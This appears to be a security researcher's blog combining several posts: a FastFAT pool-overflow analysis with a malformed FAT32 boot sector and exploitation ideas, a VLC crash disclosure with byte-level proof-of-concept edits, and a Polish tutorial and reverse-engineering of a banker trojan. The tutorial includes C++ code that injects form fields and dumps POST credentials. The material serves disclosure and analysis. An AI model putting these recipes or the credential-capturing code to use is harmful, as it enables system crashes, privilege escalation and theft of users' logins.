NumberParameters: 0
I did not dig deeper, so I cannot point place in code where validation on probably FileObject->Length is made and cause this exception. But it looks like there is already some kind of Length value validation but NOT sufficiently accurate.
Last week Microsoft released patch for reported by me vulnerability in FastFat driver marking it as:
MS14-063 – Vulnerability in FAT32 Disk Partition Driver Could Allow Elevation of Privilege (2998579)
[CVE-2014-4115].
Let me present some of the most interesting parts of advisory and add couple details/comments.
[VIDEO]When the bug kicks in…
Microsoft informs that the following OS’s are vulnerable:
• Microsoft Windows Server 2003 SP2
• Vista SP2
• Server 2008 SP2
BUT… as you can imagine “forgotten” in this year Windows XP and its FastFAT driver also contains this vulnerability but bug in it will stay there forever…Let we see Windows XP SP3 reaction on evil usb stick with malformed FAT32 partition.
[+]General description
Vulnerable code existing in FastFAT.sys driver can be exploited via intentionally malformed FAT32 Boot sector delivered with usb stick. All values of field “Number of FATs” greater than 2 will lead to not enough memory allocation for further actions made by FastFAT.sys driver and in consequences to pool overflow.
[+]How that thing happens ? – code analysis
First of all view of my malformed FAT32 Boot Sector:
Member "Value (dec)" "Value (hex)" Size "00000000 struct BOOTSECTOR_FAT32" {...} 00000200 " 00000000 int8 jmp[00000003]" 00000003 " 00000003 char OemName[00000008]" MSDOS5.0 00000008 " 0000000B struct BPB_FAT32" {...} 00000035 " 0000000B uint16 BytesPerSector" 512 0200 00000002 " 0000000D int8 SectorsPerCluster" 1 01 00000001 " 0000000E uint16 ReservedSectors" 36 0024 00000002 " 00000010 int8 NumberOfFATs" 119 77 00000001 " 00000011 uint16 RootEntries" 0 0000 00000002 " 00000013 uint16 TotalSectors" 0 0000 00000002 " 00000015 int8 Media" -8 F8 00000001 " 00000016 uint16 SectorsPerFAT" 0 0000 00000002 " 00000018 uint16 SectorsPerTrack" 63 003F 00000002 " 0000001A uint16 HeadsPerCylinder" 255 00FF 00000002 " 0000001C uint32 HiddenSectors" 63 0000003F 00000004 " 00000020 uint32 TotalSectorsBig" 80262 00013986 00000004 "++ FAT32 Section " 00000024 uint32 SectorsPerFAT" 618 0000026A 00000004 " 00000028 uint16 Flags" 0 0000 00000002 " 0000002A uint16 Version" 0 0000 00000002 " 0000002C uint32 RootCluster" 2 00000002 00000004 " 00000030 uint16 InfoSector" 1 0001 00000002 " 00000032 uint16 BootBackupStart" 6 0006 00000002 " 00000034 int8 Reserved[0000000C]" 0000000C " 00000040 int8 DriveNumber" -128 80 00000001 " 00000041 int8 Unused" 1 01 00000001 " 00000042 int8 ExtBootSignature" 41 29 00000001 " 00000043 uint32 SerialNumber" 3896654535 E8423AC7 00000004 " 00000047 char VolumeLabel[0000000B]" "NO NAME " 0000000B " 00000052 char FileSystem[00000008]" "FAT32 " 00000008 " 0000005A blob BootCode[000001A6]" 000001A6
I will reference to some fields and their values in further analysis.
Activation of special pool will help us to locate moment when a pool overflow starts to appear
verifier /volatile /flags 0x1 /adddriver fastfat.sys
After insertion of usb stick…
[+]Crash dump info
kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6) N bytes of memory was allocated and more than N bytes are being referenced. This cannot be protected by try-except. When possible, the guilty driver's name (Unicode string) is printed on the bugcheck screen and saved in KiBugCheckDriver. Arguments: Arg1: 8a011008, memory referenced Arg2: 00000001, value 0 = read operation, 1 = write operation Arg3: b7ae63da, if non-zero, the address which referenced memory. Arg4: 00000000, (reserved) Debugging Details: ------------------ WRITE_ADDRESS: 8a011008 Special pool FAULTING_IP: Fastfat!FatCommonWrite+444 b7ae63da 8978fc mov dword ptr [eax-4],edi MM_INTERNAL_CODE: 0 IMAGE_NAME: Fastfat.SYS DEBUG_FLR_IMAGE_TIMESTAMP: 48025b94 MODULE_NAME: Fastfat FAULTING_MODULE: b7ada000 Fastfat DEFAULT_BUCKET_ID: DRIVER_FAULT BUGCHECK_STR: 0xD6 PROCESS_NAME: System TRAP_FRAME: bacdf8c0 -- (.trap 0xffffffffbacdf8c0) ErrCode = 00000002 eax=8a01100c ebx=8a7ece90 ecx=00186c00 edx=00000800 esi=89a14b18 edi=00004800 eip=b7ae63da esp=bacdf934 ebp=bacdfab4 iopl=0 nv up ei ng nz ac pe cy cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010297 Fastfat!FatCommonWrite+0x444: b7ae63da 8978fc mov dword ptr [eax-4],edi ds:0023:8a011008=???????? Resetting default scope LAST_CONTROL_TRANSFER: from 8051cc4f to 804f8cb5 STACK_TEXT: bacdf848 8051cc4f 00000050 8a011008 00000001 nt!KeBugCheckEx+0x1b bacdf8a8 8054051c 00000001 8a011008 00000000 nt!MmAccessFault+0x8e7 bacdf8a8 b7ae63da 00000001 8a011008 00000000 nt!KiTrap0E+0xcc bacdfab4 b7adab9a 89a14b18 8a7ece90 89c59020 Fastfat!FatCommonWrite+0x444 bacdfaf8 804ee119 89c59020 8a7ece90 806d12a4 Fastfat!FatFsdWrite+0xad bacdfb08 8064d628 89ada170 00004000 89c59020 nt!IopfCallDriver+0x31 bacdfb2c 804ef411 bacdfb68 bacdfd40 00000000 nt!IovCallDriver+0xa0 bacdfb40 8050c497 89ada107 bacdfb68 bacdfbfc nt!IoSynchronousPageWrite+0xaf bacdfc24 8050ce3d e10ec820 e10ec828 e10ec828 nt!MiFlushSectionInternal+0x3bf bacdfc60 804e38a2 89c33d70 e10ec820 00000004 nt!MmFlushSection+0x1b5 bacdfce8 804e3bc4 00001000 00000000 00000001 nt!CcFlushCache+0x386 bacdfd2c 804e61ee 89da0290 8055b0c0 89da1da8 nt!CcWriteBehind+0xdc bacdfd74 80534c02 89da0290 00000000 89da1da8 nt!CcWorkerThread+0x126 bacdfdac 805c6160 89da0290 00000000 00000000 nt!ExpWorkerThread+0x100 bacdfddc 80541dd2 80534b02 00000000 00000000 nt!PspSystemThreadStartup+0x34 00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16 STACK_COMMAND: kb FOLLOWUP_IP: Fastfat!FatCommonWrite+444 b7ae63da 8978fc mov dword ptr [eax-4],edi SYMBOL_STACK_INDEX: 3 SYMBOL_NAME: Fastfat!FatCommonWrite+444 FOLLOWUP_NAME: MachineOwner FAILURE_BUCKET_ID: 0xD6_VRF_Fastfat!FatCommonWrite+444 BUCKET_ID: 0xD6_VRF_Fastfat!FatCommonWrite+444 Followup: MachineOwner
[+]Detailed analysis
With active special pool for fastfat.sys You should land in below area when the bug kicks in:
[x86]
PAGE:0001C37A movzx edx, word ptr [eax+90h]
PAGE:0001C381 movzx ecx, cx
PAGE:0001C384 imul edx, ecx
PAGE:0001C387 mov [ebp+BytesPerFat], edx
PAGE:0001C38D
PAGE:0001C38D loc_1C38D:
PAGE:0001C38D mov cl, [eax+96h]
PAGE:0001C393 cmp cl, 2 ; cl = Number of FATs
PAGE:0001C396 jbe short RegularFATsAmount
PAGE:0001C398 push ‘itaF’ ; Tag
PAGE:0001C39D movzx eax, cl
PAGE:0001C3A0 push eax ; Number of FATs used as pool size
PAGE:0001C3A1 push 11h ; PoolType
PAGE:0001C3A3 call ds:__imp__ExAllocatePoolWithTag
PAGE:0001C3A9 mov edi, eax
PAGE:0001C3AB mov eax, [ebp+VCB]
PAGE:0001C3AE jmp short loc_1C3B6
PAGE:0001C3B0 ; —————————————————————————
PAGE:0001C3B0
PAGE:0001C3B0 RegularFATsAmount:
PAGE:0001C3B0 lea edi, [ebp+var_174]
PAGE:0001C3B6
PAGE:0001C3B6 loc_1C3B6:
PAGE:0001C3B6 mov [ebp+unknow], edi
PAGE:0001C3BC and [ebp+counter], 0
PAGE:0001C3C3 cmp byte ptr [eax+96h], 0
PAGE:0001C3CA jbe short loc_1C410
PAGE:0001C3CC mov ecx, [ebp+offsetToFirstFAT]
PAGE:0001C3CF mov edx, ecx
PAGE:0001C3D1 sub edx, [ebp+StartingVbo]
PAGE:0001C3D4 lea eax, [edi+0Ch]
PAGE:0001C3D7
PAGE:0001C3D7 fillArrayLoop:
PAGE:0001C3D7 mov edi, [ebp+offsetToFirstFAT]
PAGE:0001C3DA mov [eax-4], edi
PAGE:0001C3DD mov [eax-0Ch], ecx
PAGE:0001C3E0 and dword ptr [eax-8], 0
PAGE:0001C3E4 mov [eax], edx
PAGE:0001C3E6 mov edi, [ebp+unknow3]
PAGE:0001C3EC mov [eax+4], edi
PAGE:0001C3EF inc [ebp+counter]
PAGE:0001C3F5 add ecx, [ebp+BytesPerFat]
PAGE:0001C3FB add eax, 18h
PAGE:0001C3FE mov edi, [ebp+VCB]
PAGE:0001C401 movzx edi, byte ptr [edi+96h] ; to EDI goes Number of FATs
PAGE:0001C408 cmp [ebp+counter], edi
PAGE:0001C40E jb short fillArrayLoop
[/x86]
as You can see above, when number of FATs is bigger than 2 it’s amount is used to allocate pool of that size.
[x86]
PAGE:0001C39D movzx eax, cl
PAGE:0001C3A0 push eax ; Number of FATs used as pool size
PAGE:0001C3A1 push 11h ; PoolType
PAGE:0001C3A3 call ds:__imp__ExAllocatePoolWithTag
[/x86]
Next loop appears and it iterates amount of times indicated by number of FATs. In this loop ( fillArrayLoop ), pool allocated by code describe above is filled by array of structures
where size of structure equals 24 bytes (structure consists of 6 DWORD’s). Is easy to deduce that iteration will lead to pool overflow because during pool allocation number of FATs was taken in count without size of structure element. It’s even easier to understand on pseudo code:
NumberOfFATs = *(_BYTE *)(VCB + 150); if ( NumberOfFATs <= 2u ) { ptrPool = &v100; } else { ptrPool = ExAllocatePoolWithTag((POOL_TYPE)17, NumberOfFATs, 'itaF'); [BUG]//NumberOfFATs !!! instead of NumberOfFATs * sizeof(SomeStructure)=24 v14 = VCB; } counter = 0; if ( *(_BYTE *)(v14 + 0x96) ) { v18 = offsetToFirstFAT; unknow1 = offsetToFirstFAT - unknow2; v20 = (int)((char *)ptrPool + 12); do { *(_DWORD *)(v20 - 4) = offsetToFirstFAT; *(_DWORD *)(v20 - 12) = v18; *(_DWORD *)(v20 - 8) = 0; *(_DWORD *)v20 = unknow1; *(_DWORD *)(v20 + 4) = unknow3; ++counter; v18 += BytesPerFat; v20 += 24; } while ( counter < NumberOfFATs ); }
[+]Exploitability
Taking glance at how this array looks in memory after couple iterations:
FOR 3 loops cycle :
#1 00 48 00 00 00 00 00 00 00 48 00 00 00 08 00 00 00 02 00 00 ef ef ef ef <- not initialized #2 00 1c 05 00 00 00 00 00 00 48 00 00 00 08 00 00 00 02 00 00 ef ef ef ef <- not initialized #3 00 f0 09 00 00 00 00 00 00 48 00 00 00 08 00 00 00 02 00 00 ef ef ef ef <- not initialized
Which values at particular offset we are able to control ?
Offset +0: (v20 – 12)
For first iteration it’s value equals offsetToFirstFAT and further it’s result of adding: (v20 – 12) = (v20 – 12) + BytesPerFat.
Where BytesPerFAT equals : Bytes per sector = 512 * Sectors per fat = 618 == 0x4D400 (316416)
Offset +4: (v20 – 8)
Constant 0
Offset + 8: (v20 – 4)
Value of this field always equals offsetToFirstFAT.
Where offsetToFirstFAT : Bytes per sector * Reserved sectors == (0x4800)
Taking in count information’s about how this bug is triggered and what portion of date we are able to control during page overflow….how do you think, it’s exploitable or not ? I will leave the answer for the reader. But…
the most lucrative scenario for attacker would be to create malformed FAT32 partition which contains .exe file and gives possibility (not causes crash after usb stick insertion) to victim to run it.
Exe for e.g would be responsible of kernel pool spraying. After that it would write any random date to malformed partition triggering in the same time bug in FatCommonWrite. Ohh yeah….my observations shows that when you create nearly empty malformed partition containing couple files, bug only triggers when you open one of these file and try to save(write) modifications.
For sure we should not disregard this vulnerability because history and e.g recently Chris Evans write-up about off-by-one shows that any kind of scenario can become real in some circumstances.
Microsoft why so long ????!!!!
There is a lot of complaints on Microsoft because this particular vulnerability is patched in newer system version like Windows 7/8/8.1 so it implicates that it was good know vuln for MS for a long time and they did not patch it…I gonna leave it without comment, but also process of patching affected systems mentioned at the beginning of this post took a while because this vulnerability was submitted by me to MS at the beginning of March this year (2014) and currently we have October 2014….well 😉
For some time the “virus of the police” has become an epidemic across Europe. Currently a variant of the first sample, found during summer of 2011, is infecting
Windows operating system users. It blocked the system on startup, with a screen that prevented access to the desktop…
Read entire analysis: police_trojan.pdf
After two mails to VLC security team and lack of answer I decided to public this research before any patch. Presented here vulns are not too evil (Local DoS) so making them public will not cause any damage for VLC users.
==[ Details ]==
<= VLC media player 2.0.1 contains vulnerabilities in few Demuxers:
1. voc.c – DoS via Divison by 0 2. smf.c – DoS via Infinite loop 3. au.c – DoS via Division by 0
1. Details voc.c – DoS via Divison by 0:
First scenario:
ReadBlockHeader function to handle block data type 0x9 contains the following code:
Line 304: case 9: /* newer data block with channel number and bits resolution */ if( i_block_size < 12 ) goto corrupt; i_block_size -= 12; if( ( stream_Read( p_demux->s, buf, 8 ) < 8 ) || ( stream_Read( p_demux->s, NULL, 4 ) < 4 ) ) goto corrupt; new_fmt.audio.i_rate = GetDWLE( buf ); new_fmt.audio.i_bitspersample = buf[4]; new_fmt.audio.i_channels = buf[5];
If block header at offset 0x5 will be set to 0 then new_fmt.audio.i_channels = 0, what causes:
Line 360: new_fmt.audio.i_bytes_per_frame = new_fmt.audio.i_channels * (new_fmt.audio.i_bitspersample / 8);
that new_fmt.audio.i_bytes_per_frame will be set to 0 and after exit from ReadBlockHeader the following code:
Line 428: while( ( i_offset >= p_sys->i_block_end ) && ( p_sys->i_silence_countdown == 0 ) ) if( ReadBlockHeader( p_demux ) != VLC_SUCCESS ) return 0; if( p_sys->i_silence_countdown == 0 ) { i = ( p_sys->i_block_end - i_offset ) / p_sys->fmt.audio.i_bytes_per_frame; // <- div by 0
in Demux function leads to division by zero and as an end result VLC crash.
Second scenario:
Because at the beginning in ReadBlockHeader function, structure new_fmt (es_format_t) is initialized by zero:
Line 175: es_format_Init( &new_fmt, AUDIO_ES, 0 );
therefore if type of first block will be set to different one where “normal” new_fmt structure initialization occurs e.g 0x6 then at the end of
ReadBlockHeader ,
Line 399: if( p_sys->p_es == NULL ) { memcpy( &p_sys->fmt, &new_fmt, sizeof( p_sys->fmt ) );
new_fmt structure initialized by 0 will be copied to p_sys->fmt which leads to division by zero after return to Demux function like in above scenario.
2. smf.c – DoS via Infinite loop
In Open function we see the following code:
Line 210: for (;;) { stream_Read (stream, head, 8); if (memcmp (head, "MTrk", 4) == 0) break; msg_Dbg (p_this, "skipping unknown SMF chunk"); stream_Read (stream, NULL, GetDWBE (head + 4)); }
it aim is to find „MTrk” ID chunk. But like we can also notice there is lack of checks for stream_Read function indicating that end of stream occurred.
File with malformed or without “MTrk” ID chunk will cause infinite loop and as a result VLC DoS.
3 au.c – DoS via Division by 0
Line 144: /* init fmt */ es_format_Init( &p_sys->fmt, AUDIO_ES, 0 ); p_sys->fmt.audio.i_rate = GetDWBE( &hdr[12] ); p_sys->fmt.audio.i_channels = GetDWBE( &hdr[16] );
setting 0(DWORD) at file offset len(“.snd”)+12 => 16 we set 0 value for i_rate field. Lack of any inspection of this field and its value leads to division by zero at
Line 278: p_sys->i_frame_length = (mtime_t)1000000 * (mtime_t)i_samples / (mtime_t)p_sys->fmt.audio.i_rate;
and as an end result to VLC crash.
==[ Proof of Concept ]==
1. voc.c - DoS via Divison by 0: File sample: http://samples.libav.org/voc/pcm_s16_2/nem.voc First scenario: Change offset 0x23 value from 0x02 to 0x0 Second scenario: Change offset 0x1A value from 0x060C842E to 0x06020000 2. smf.c - DoS via Infinite loop File sample: http://upload.wikimedia.org/wikipedia/commons/6/61/Drum_sample.mid Malform “MTrk” chunk ID anyhow e.g “ATrk”. 3. au.c - DoS via Division by 0 File sample: http://samples.libav.org/au/garelka.au Change offset 0x10 value from 0x00001F40 to 0x00000000
Od dawien dawna po dzień dzisiejszy (BHO wpierane jest od IE 4.0) autorzy malware’u wykorzystują funkcjonalność jaką dostarcza im BHO do znęcania się nad użytkownikami IE.
Przeważnie złośliwe BHO posiada dwie kluczowe funkcjonalności (na pewno w przypadku banker’a) :
- monitorowania/logowania zapytań wysyłanych przez przeglądarkę POST dump – kradzież haseł – dynamiczne modyfikowania kodu html wybranych stron HTML code injection – wstrzyknięcie kodu html np. dodającego pare dodatkowych pól w formularzu przeznaczonych do wpisania większej ilości kodów TAN
=] Tworzenie BHO [=
Implementacje dll’ki można wykonać na kilka sposobów:
Czysty COM/WinApi
Oczywiście jak można się domyślać w tym przypadku implementacja wszystkich niezbędnych interfejsów COM’wych będzie należała do nas. Jest to jednak, doskonały sposób na dokładne zapoznanie się mechanizmami, które kryją się pod maską BHO.
Szczegółowy tutorial jak napisać BHO bez wykorzystania MFC/ATL z wyjaśnieniem podstaw związanych z technologią COM znajduję się tutaj : http://www.codeproject.com/KB/shell/BHOinCPP.aspx
MFC
ATL
W przypadku skorzystania z dobrodziejstwa biblioteki ATL do implementacji pozostaje nam tak naprawdę jedna metoda plus event handlery. Tutorial jak stworzyć BHO z wykorzystaniem ATL znajduję się tutaj:
http://msdn.microsoft.com/en-us/library/bb250489(v=vs.85).aspx
Jak przebiega wywołanie kolejnych interfejsów oraz ich metod:
W wielkim skrócie:
Ole32.dll w IE
CoGetClassObject->CoLoadLibrary
BHO
@export DllGetClassObject – przekazanie pointer’a na coclass IClassFactory
IClassFactory->CreateInstance – przekazanie pointera na coclass IObjectWithSite
IObjectWithSite->SetSite -uzyskanie pointera do interfejsu IWebBrowser2
IWebBrowser2->QueryInterface dla IConnectionPointContainer
IConnectionPointContainer-> FindConnectionPoint dla dispatchera DWebBrowserEvents2
IConnectionPointContainer->Advise – rejestracja coclassy implementującej dispatcher DWebBrowserEvents2 (obsługa eventów)
=] Interfejsy [=
Nas jak i zarówno twórców malware’u, intersować bedą tutaj w szczególności dwa interfejsy:
– IWebBrowser2
– DWebBrowserEvents2
=] Obsługa eventów [=
Jak można się domyślać, główny kod malwareu odpowiadający za takie akcje jak HTLM Code injection czy POST dump będzie znajdował się w klasie implementującej interfejs DWebBrowserEvents2, odpowiedzialnej za obsługę eventów.
I tak , HTML Code injection można spodziewać się przy obsłudze eventu:
DISPID_DOCUMENTCOMPLETE :
„DocumentComplete – Fires when a document is completely loaded and initialized.”
POST Dump ( kradzież login/pass)
DISPID_BEFORENAVIGATE2:
„BeforeNavigate2 – Fires before navigation occurs in the given object (on either a window element or a frameset element).”
Rzućmy okiem jak wygląda szczątkowa implementacja takiej klasy w cpp:
Czysty COM/WinAPI
class CEvents : public DWebBrowserEvents2 { public: STDMETHODIMP Invoke(DISPID dispIdMember,REFIID riid,LCID lcid,WORD wFlags,DISPPARAMS *pDispParams,VARIANT *pVarResult,EXCEPINFO *pExcepInfo,UINT *puArgErr); private: void OnBeforeNavigate2(...); void OnDocumentComplete(...); }; STDMETHODIMP CEvents::Invoke(DISPID dispIdMember,REFIID riid,LCID lcid,WORD wFlags,DISPPARAMS *pDispParams,VARIANT *pVarResult,EXCEPINFO *pExcepInfo,UINT *puArgErr) { switch(dispIdMember) { case DISPID_DOCUMENTCOMPLETE: OnDocumentComplete(...); break; case DISPID_BEFORENAVIGATE2: OnBeforeNavigate2(...); break; } }
ATL
class ATL_NO_VTABLE CCBHO : public CComObjectRootEx<CComSingleThreadModel>, public CComCoClass<CCBHO, &CLSID_CBHO>, public IObjectWithSiteImpl<CCBHO>, public IDispatchImpl<ICBHO, &IID_ICBHO, &LIBID_firstBHOLib, /*wMajor =*/ 1, /*wMinor =*/ 0>, public IDispEventImpl<1, CCBHO, &DIID_DWebBrowserEvents2, &LIBID_SHDocVw, 1, 1> { public: CCBHO() { } public: BEGIN_SINK_MAP(CCBHO) //initialize _ATL_EVENT_ENTRY structure SINK_ENTRY_EX(1, DIID_DWebBrowserEvents2, DISPID_DOCUMENTCOMPLETE, OnDocumentComplete) SINK_ENTRY_EX(1, DIID_DWebBrowserEvents2, DISPID_BEFORENAVIGATE2, OnBeforeNavigate) END_SINK_MAP() // DWebBrowserEvents2 void STDMETHODCALLTYPE OnDocumentComplete(IDispatch *pDisp, VARIANT *pvarURL); void STDMETHODCALLTYPE OnBeforeNavigate(IDispatch *pDisp, VARIANT *url, VARIANT *Flags, VARIANT *TargetFrameName, VARIANT *PostData, VARIANT *Headers, VARIANT_BOOL *Cancel);
Tak jak wspomniałem powyżej, dość kluczową rolę w funkcjonowaniu malwareu w postaci BHO będzie miał kod znajdujący się przy obsłudze eventów BEFORENAVIGATE2 i DOCUMENTCOMPLETE. Zanim jednak weźmiemy pod lupę przykładowy malware, rzućmy okiem na implementacje HTML Code injection oraz POST dump w CPP.
HTML Code injection (ATL)
void STDMETHODCALLTYPE CCBHO::OnDocumentComplete(IDispatch *pDisp, VARIANT *pvarURL) { HRESULT hr; // Retrieve the top-level window from the site. CComQIPtr<IWebBrowser2> tmpBrowser = pDisp; if(tmpBrowser && m_webBrowser && m_webBrowser.IsEqualObject(tmpBrowser)) { CComPtr<IDispatch> doc; hr = m_webBrowser->get_Document(&doc); if(SUCCEEDED(hr)) { CComQIPtr<IHTMLDocument2> html = doc; if( html != NULL) { debug_init(); //check target url if(wcsstr((WCHAR*)pvarURL->pbstrVal,L"http://www.icewall.pl/wp-login.php")) { debug("[+] Target URL detected"); CComPtr<IHTMLElement> body; hr = html->get_body(&body); if(!SUCCEEDED(hr) || body == NULL) return; debug("[+] Make simple html code injection, right after <body> tag"); body->insertAdjacentHTML(L"afterBegin",L"<h1 style=\"text-align:center;color:red;\">Injected Code</h1>"); debug("[+] Find login form"); CComPtr<IHTMLElementCollection> forms; hr = html->get_forms(&forms); if(!SUCCEEDED(hr) || forms == NULL) return; long amount = 0; CComVariant name; CComPtr<IDispatch> pDisp; forms->get_length(&amount); for(int i =0; i < amount;i++) { CComVariant index(i); forms->item(name,index,&pDisp); CComQIPtr<IHTMLElement> form = pDisp; debug("[+] Injecting additional form field"); form->insertAdjacentHTML(L"afterBegin", L"<label>Phone number<br /><input type=\"text\" name=\"phone\" class=\"input\" size=\"20\"/></label>"); } } } } } }
A tak wyglada efekt:
Jak widać na screen’e do kodu strony został wstrzykniety napis “Injected code” oraz dodatkowe pole formularza “Phone number”.
Ok, rzucmy okiem na kod wykonujacy POST dump’a:
void STDMETHODCALLTYPE CCBHO::OnBeforeNavigate(IDispatch *pDisp, VARIANT *url, VARIANT *Flags, VARIANT *TargetFrameName, VARIANT *PostData, VARIANT *Headers, VARIANT_BOOL *Cancel) { if (PostData != NULL && PostData->vt == (VT_VARIANT|VT_BYREF) && PostData->pvarVal->vt != VT_EMPTY ) { debug("[+] POST data dump"); //dump information about URL debug(std::string(CW2A(url->bstrVal))); char *szTemp = NULL; char *szPostData = NULL; long plLbound, plUbound; SAFEARRAY *parrTemp = PostData->pvarVal->parray; SafeArrayAccessData(parrTemp , (void HUGEP **) &szTemp); SafeArrayGetLBound(parrTemp , 1, &plLbound); SafeArrayGetUBound(parrTemp , 1, &plUbound); szPostData = new char[plUbound - plLbound + 2]; memcpy(szPostData, szTemp, plUbound - plLbound + 1); szPostData[plUbound-plLbound] = '\0'; SafeArrayUnaccessData(parrTemp); //dump post data debug(szPostData); delete[] szPostData; } }
Wypelniamy forme:
Login…
Jak widać, wszystkie dane wpisane w polach formularza (wraz z tymi wpisanymi do pola, które została wstrzyknięte przez nasze BHO) zostały zdumpowane na konsole.
Skoro już wiemy jakiego kodu możemy się spodziewać i mamy świadomość jak on funkcjonuje, rzućmy okiem na realny przykład.
=] Just reverse it! [=
Malware: Trojan-Spy.Win32.Banker
MD5: 4bb6988207b7e64c91181ab3a7a82e3e
SHA256: d02323c52b3142ffbfc2a8d92a4202022d2671ba18b4efbe7569863817e550e6
https://www.virustotal.com/ – report
Download: Trojan-Spy.Win32.Banker pass: infected
Plik reprezentowany przez powyżej przedstawione hashe jest tak naprawdę droperem, a nas będzie jedynie interesowała dll’ka, która dropuje do system32 czyli btask.dll (BHO).
Jak pewnie zauważyliście dll’ka spakowana jest upx’em, warto rozpakować dll’ke i pracować na rozpakowanej wersji nawet przy dynamicznej analizie.
=] Gdzie te event handler’y ?[=
Ustaliliśmy już, że złowieszcze funkcje typowe dla banker’a w postaci BHO znajdują się przy obsłudzę eventów. Teraz pytanie brzmi jak znaleźć te fragmenty kodu, a tak naprawdę jak odnaleźć funkcję
Invoke() (dla czystego COM/winapi) czy inicjalizację struktur _ATL_EVENT_ENTRY gdzie znajdować się będą wszystkie interesujące nas informacje i fragmenty kodu?
=] Wyszukiwanie stałych [=
Dobre rezultaty daje tutaj proste wyszukiwanie wartości stałych, które reprezentują poszczególne eventy:
IDA->Alt+I (Find all occurences) , znajdźmy wszystkie stałe wartości równe 259(0x103) reprezentujące event DOCUMENTCOMPLETE.
Address Function Instruction ------- -------- ----------- .text:20004904 sub_2000480A cmp eax, 103h .text:2000B0E3 sub_2000B093 cmp [ebp+var_18], 103h
Zobaczmy pierwszy adres:
Kod wygląda bardzo sensownie, widać sporą dawkę instrukcji warunkowych i porównań jednego argumentu funkcji do różnych stałych, co może świadczyć o tym, że faktycznie udało nam się odszukać funkcję Invoke. I tak też jest ;). Jeżeli, ktoś jeszcze tego nie dostrzegł to podpowiem, że można tutaj dostrzec typową implementację funkcji Invoke w przypadku kiedy NIE zastosowano ATL’owego szablonu. A jak wygląda sytuacja w przypadku ATL’a ?
atlBHO.dll (analiza dla ułatwienia z załadowanym plikiem pdb) – > Download
Tym razem próbując znaleźć miejsce w kodzie gdzie inicjalizowana jest tablica struktur _ATL_EVENT_ENTRY posługując się w tym przypadku wartością 0x130 zaliczymy fail’a z tego względu, że pierwsza struktura w tej tablicy ( w moim kodzie jest to struktura dla eventu DOCUMENTCOMPLETE) jest częściowo zainicjalizowana przez co IDA wskaże nam miejsce:
.data:1003D770 ; ATL::_ATL_EVENT_ENTRY<CCBHO> map[3] .data:1003D770 struct ATL::_ATL_EVENT_ENTRY<class CCBHO> const * const `public: static struct ATL::_ATL_EVENT_ENTRY<class CCBHO> const * __cdecl CCBHO::_GetSinkMap(void)'::`2'::map dd 1 ; nControlID .data:1003D770 ; DATA XREF: CCBHO::_GetSinkMap(void):loc_1001C040o .data:1003D770 dd offset _DIID_DWebBrowserEvents2; piid .data:1003D770 dd 0Ch ; nOffset .data:1003D770 dd 103h ; dispid .data:1003D770 dd 0 ; pfn .data:1003D770 db 4 dup(0) .data:1003D770 dd 0 ; pInfo .data:1003D770 db 4 dup(0) ; _padding .data:1003D770 dd 0 ; nControlID ...
czyli przestrzeń statycznie zaalokowaną na tablice _ATL_EVENT_ENTRY. My jednak szukamy miejsca w kodzie gdzie następuje inicjalizacja tej tablicy. Poszukajmy więc wartości odpowiadającej event’owi
BEFORENAVIGATE2 czyli 0xFA
.text:1001BF29 mov [ebp+var_EC], offset CCBHO::OnDocumentComplete(IDispatch *,tagVARIANT *) (...) .text:1001BF9E mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nOffset+20h, edx .text:1001BFA4 mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.dispid+20h, 0FAh .text:1001BFAE mov [ebp+var_DC], offset CCBHO::OnBeforeNavigate(IDispatch *,tagVARIANT *,tagVARIANT *,tagVARIANT *,tagVARIANT *,tagVARIANT *,short *) .text:1001BFB8 mov [ebp+var_D8], 0 .text:1001BFC2 mov eax, [ebp+var_DC] .text:1001BFC8 mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.pfn+20h, eax .text:1001BFCD mov ecx, [ebp+var_D8] .text:1001BFD3 mov dword ptr ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map+34h, ecx .text:1001BFD9 mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.pInfo+20h, 0 .text:1001BFE3 mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nControlID+40h, 0 .text:1001BFED mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.piid+40h, 0 .text:1001BFF7 mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nOffset+40h, 0 .text:1001C001 mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.dispid+40h, 0
Bingo! Pod adresem 1001BF29 oraz 1001BFAE widzimy inicjalizację struktur offset’ami na event handlery. Mamy, więc trywialny sposób na odnalezienie interesujących nas fragmentów kodu w obu przypadkach. Zautomatyzujmy ten proces.
IDA Python – > Download BHO.py
Stworzyłem prosty skrypt, który bazując na paru najpopularniejszych stałych reprezentujących event’y odnajduje miejsce funkcji Invoke czy inicjalizacji tablicy _ATL_EVENT_ENTRY.
Wróćmy do naszego malwareu i odpalmy skrypt.
Searching for DISPID_BEFORENAVIGATE2 Searching for DISPID_DOCUMENTCOMPLETE Searching for DISPID_NAVIGATECOMPLETE2 Searching for DISPID_ONQUIT Potential Invoke function 0x20003b22 : appearance 1 Potential Invoke function 0x20013043 : appearance 1 Potential Invoke function 0x200044cc : appearance 1 Potential Invoke function 0x2000480a : appearance 4 Potential Invoke function 0x20004eec : appearance 1 Potential Invoke function 0x200074f1 : appearance 1 Potential Invoke function 0x2000b093 : appearance 1 Potential Invoke function 0x200022fa : appearance 1 Suggested address of Invoke function : 0x2000480a
Jak widać skrypt spisał się bardzo dobrze, ponieważ 0x2000480ajest faktycznym adresem funkcji Invoke, który udało nam się wcześniej ustalić ręcznie.
